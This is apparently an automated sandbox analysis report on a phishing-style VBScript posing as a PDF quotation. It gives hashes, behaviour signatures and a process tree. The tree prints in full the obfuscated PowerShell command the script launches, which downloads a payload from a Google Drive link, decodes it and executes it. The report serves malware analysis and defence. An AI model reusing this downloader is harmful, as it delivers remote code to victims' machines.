Overview

overview

8

Static

static

1

Urgent Quo...df.vbs

windows7-x64

8

Urgent Quo...df.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-09-2024 07:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Urgent Quotation Notification_pdf.vbs

  • Size

    21KB

  • MD5

    9399cd1db4c7360b891ecc977dfbdc2a

  • SHA1

    968f602adcb6c30b6a6f3520bf90f17d9511e7c7

  • SHA256

    ee0a0898ddb59aa40d7c429d982e56a1ca4847a2872b857a1a3934d316075576

  • SHA512

    dc65b802977945138bc50a01f65d5b5ef51db05a36cc8058f93ff03ce571d9cfeef13ab7d2ae932bda0d1c1abcc19c76c63603f92dcd22c65f0158600ecddf61

  • SSDEEP

    384:5Ct1s/AY/KNCARVZLDLEYlXEEanhC4ZscgniCwyvN2vYiWdgPTwRUQBXANeu:8tiYY/KNCsZjELEOC4ZNPoggibPTwRUL

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Urgent Quotation Notification_pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Cantharidating Desinficerer afgrdernes Mistakenly Bunsen spadestres #>;$Befleaing='subclans';<#Opinionsdannelserne leia Entomophthorous Hedninger #>;$Essens=$host.PrivateData;If ($Essens) {$Becollier++;}function Fabrikskomplekserne($syngespil){$Brace66=$Frafaldendes+$syngespil.Length-$Becollier;for( $Actinal=3;$Actinal -lt $Brace66;$Actinal+=4){$stevedorerne+=$syngespil[$Actinal];}$stevedorerne;}function Trolddomskunsternes($Pretabulation){ . ($Untenseness) ($Pretabulation);}$Plattenslager=Fabrikskomplekserne 'DimMsejoDehzsanimetlAntlE.sa a/spi5Unr.Ga 0.ka Wax( K,WAntiPann PodRumoa awIdisAlm t N reT Me Lea1Fil0Fel.ska0si.;fje TrtW.emi G,nCry6Cla4Tan; ,p staxNot6 ra4 Il;Pe Pr r AlvTin:Nya1I t2Ou 1.mt.Bio0Ret)Ice AcGOvee Elc TokF do Mi/met2Fli0 nf1 ,h0Ren0 ta1 nd0 B 1 ar AalFsemiHalrPave vef FioW.ax Il/Tun1As.2 ri1sna. t0Hvi ';$Unentailed=Fabrikskomplekserne ' F.U ,ns alEGr REks-sarABebg EleMa nTipTRes ';$Certifiability=Fabrikskomplekserne ' GehRe t Unt hpFe sFum:Brn/Che/OpddEjerLydi CovJaze nu.,ragA eo CaoMilg ,elB,sesha. .oc.olo,oemFed/ P.u P cNo.?Po e.etxmedpKo o Puras.tMa =VaadFinoFngwMe.nUnll s oTe.a nodPre& igiRidd ar=,la1CluTserFTegXOnyc.fdrPreJP eWOutTD.yGPjamLysaEvic Na2Gr hElejO r-DevV Trsm dL.aro,idWcepxDisw ,es f.sseskBi gUnoBstv1tor7M g6Gyls G. ';$Tilskringskursuset=Fabrikskomplekserne 'F.b>Lac ';$Untenseness=Fabrikskomplekserne ' UniTinEEn xDo ';$Remburserne='Kohoveder';$bakie='\Bumpenes.sam';Trolddomskunsternes (Fabrikskomplekserne 'Tre$ Teg mbl Hao mmb anaLomlsk :EndDFesuvoltFr,itr.aVacb Bll eePo =Mon$ lae Pan upvPre:Ka as,mpMisp CodOrdaRaatBaraTek+ De$EkkbD aa rak uniBroeO d ');Trolddomskunsternes (Fabrikskomplekserne 'Tan$,ksgD al FooAnnbBl a Hylpha: KaP Torpolel,di Almbelp vo ndrGartBle=sup$LimC eveprorApptsayiza f ai .kaFisbFaliOrnlChaiHyptWriyTen.CarsProp MilTeli ExtP l(Pai$PraTd.wivesl O.s HuksamrFo iCaln Zog scstilkPosuB.drs tsBa u TosPr.e aftBla)B l ');Trolddomskunsternes (Fabrikskomplekserne 'Mol[.erN.ocePret.tu.Angs tre,iarsmevHumiFe cgrues,rP ao lmiLevnDeft MoMsu aCasn ska olgslieB.yrAdn] Wr:Gth:BrssFree T cUnmu,anrYppi nttsvey InPChirbriostitOutoRifcMejotyrl Fo Bof= st ,ys[In.NUboeD.rtTpp.s ossofeOvecUnduN,tr Fri et ubyAfvPBjerKofoKretUnaowitcMatoKinlskrTGluyskipPosesal]A i: ej:Y uT oclObjs Kv1sym2Mas ');$Certifiability=$Preimport[0];$Fortolke=(Fabrikskomplekserne ' re$BlagstaLsano arBMulasjkLKon:GenC BrhMo,a.nnN asn,ndiPoleLe.=ComNb teHooW .i-sp osneBUdnjacce asCArkTKas UbesB uYCams CeTMune dsMTra.sp,nmisEposT De. nowBereNonb LycNonl,isIBrieHusN Hjtopf ');Trolddomskunsternes ($Fortolke);Trolddomskunsternes (Fabrikskomplekserne 'lug$,nkCHyphPreaEnenBa.ns,ei MieAnt.VivHK,nes raAt,d GyeC xr UdsFel[ st$NynULymnFleeIn.n ontRe aUnoi AclBeeeFord Ac]Ani=sk $TrkPUrelsataFe.tBentinteKg.n ytsicilIrras,igDrme CerHol ');$Bufferkapaciteterne=Fabrikskomplekserne 'Unp$ DaCDeph.araBilnCoan raiInteD,m.UndDstao riwse,nU.plMuso taaR td .nFRddi llskye l(Mal$tunCIndeT.ar ottKomiC nf aiDraaa ob ckiAcilUnniTartUnfyske, no$RatP crrPraoOffsD etKvah anoKondBaaosprnstitOphi occ msAlt) ed ';$Prosthodontics=$Dutiable;Trolddomskunsternes (Fabrikskomplekserne 'Mil$Oveg BalHngoFotbPrma oL Pr:,acs stI .hdCouOundN snIMa a B sH,u= En( CotHjuesttsUnsTExi-KispRaaaCout skHRag Ebu$,omP ierK.io HusLant enHT kOTredD rO Brnsk,TAutIUn c PasHa,) Re ');while (!$sidonias) {Trolddomskunsternes (Fabrikskomplekserne ' K $Gafghkels ioPolbIntasinl.el:El U Dossvrl stiTign TigEtheMk,nUn s Kl=To $stot erM au sye Af ') ;Trolddomskunsternes $Bufferkapaciteterne;Trolddomskunsternes (Fabrikskomplekserne 'V lssoat MiaMatrBettf,j-WatsNislsike svePlepFas Epi4Chi ');Trolddomskunsternes (Fabrikskomplekserne 'F g$P.rgC llGaloHarb C.aItal Fo: G.sBloiHypd aso A,n,tai Nua OvsDem=Clu( ,rTD teAn seartFll-WogPId,aUndtn th su Ild$UnsPCl rBetosprsMyttslah o,oLordUbeoKupnGrotO eiKo cTrisG i)Kah ') ;Trolddomskunsternes (Fabrikskomplekserne 'squ$Audg EilB.aoBorbFesaIn lFac: coOs.rrAf tDewhP ro MacKape dsrE.ta FltKeliIsotErki llc ro= k$ U gse l s os jb osa llBow: UnU Kanra dWeaeBharslucTrarundoPlasVissZoni PsnMedgjus+Bi,+ Al% yp$B sP esrHareForiEvim ncpOpsostar Retdat.HvicDrno FiuI pnReotRec ') ;$Certifiability=$Preimport[$Orthoceratitic];}$Vejlenser=275493;$Cirkelines=30624;Trolddomskunsternes (Fabrikskomplekserne 'For$ FegtimlBraoKilbGolaOlalTo.:s nM ElaCorsHelsOveeWeitsm eOver PriFascpep Tra=Epi AnGRapesemtMus-HovCMauoho,nRevt steVinnAcatMel B r$tykPQu,r.haoBlusB at Rah CyoFlidsuioPron hltO,ei stc isLyk ');Trolddomskunsternes (Fabrikskomplekserne 'Ine$AlagGtel,enoHygb MraNeglClo:CanIdiansolfTr i PrnChaisrktUn.aBehtAfseP ad su l=N g ,jl[Be s,awyChisTuntsl,eNydm sp. ArCvero usnNonvFuteA.erAt tper]ski:Vej:TofFLetrKomoPremVarBEntaUdtsElseFes6 lu4 B sstitcsnrfugistrnsvegDri(Fra$UnsMKisaTassTo.sBraeWhatNyaes.orMusi ascVer) Bo ');Trolddomskunsternes (Fabrikskomplekserne ' dr$BefgsvilHeao ocb p.aBealZi :Un MR ko HyncesiUn s,ontPeli Fos R kOl e .v D g=dor Xip[UdhsV zyGuasB ktPhyeRapmObj.st TFo,e Rux tetGra. MoEMisn Glcstao ldD ni stnFusgbor]ent:kom: emAn nsBasCHe It aIGon. G,GItae sttAl,sburtJusr M.iUdsns mg e( As$ aIK in opfBini.efnsemiflet EfaUndt laesmud.in) Dr ');Trolddomskunsternes (Fabrikskomplekserne 'Brb$D,igB nlPreoHurb,oraRealUni: rTAngrTrao K,u Mev,oie rluPyrrGarsodi1 In5Me,6,ct=sol$AllMB yo O n I i.yrss otNseibagsAp.kopbeMoo. ndsAp usaubin sDiatVanr BoiHosnTe.gAfr(Cra$ProVsyne OdjKonlHjee.ilnDe sToge Norsat,afh$damC W iGe r Miksoge L lGauiBranjobeIn s as)Pen ');Trolddomskunsternes $Trouveurs156;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4472

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efolu5f1.mhq.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/4472-4-0x00007FFB87063000-0x00007FFB87065000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4472-7-0x0000014CD7860000-0x0000014CD7882000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4472-15-0x00007FFB87060000-0x00007FFB87B21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4472-16-0x00007FFB87060000-0x00007FFB87B21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4472-17-0x00007FFB87060000-0x00007FFB87B21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4472-18-0x00007FFB87063000-0x00007FFB87065000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4472-19-0x00007FFB87060000-0x00007FFB87B21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4472-20-0x00007FFB87060000-0x00007FFB87B21000-memory.dmp

    Filesize

    10.8MB

    Download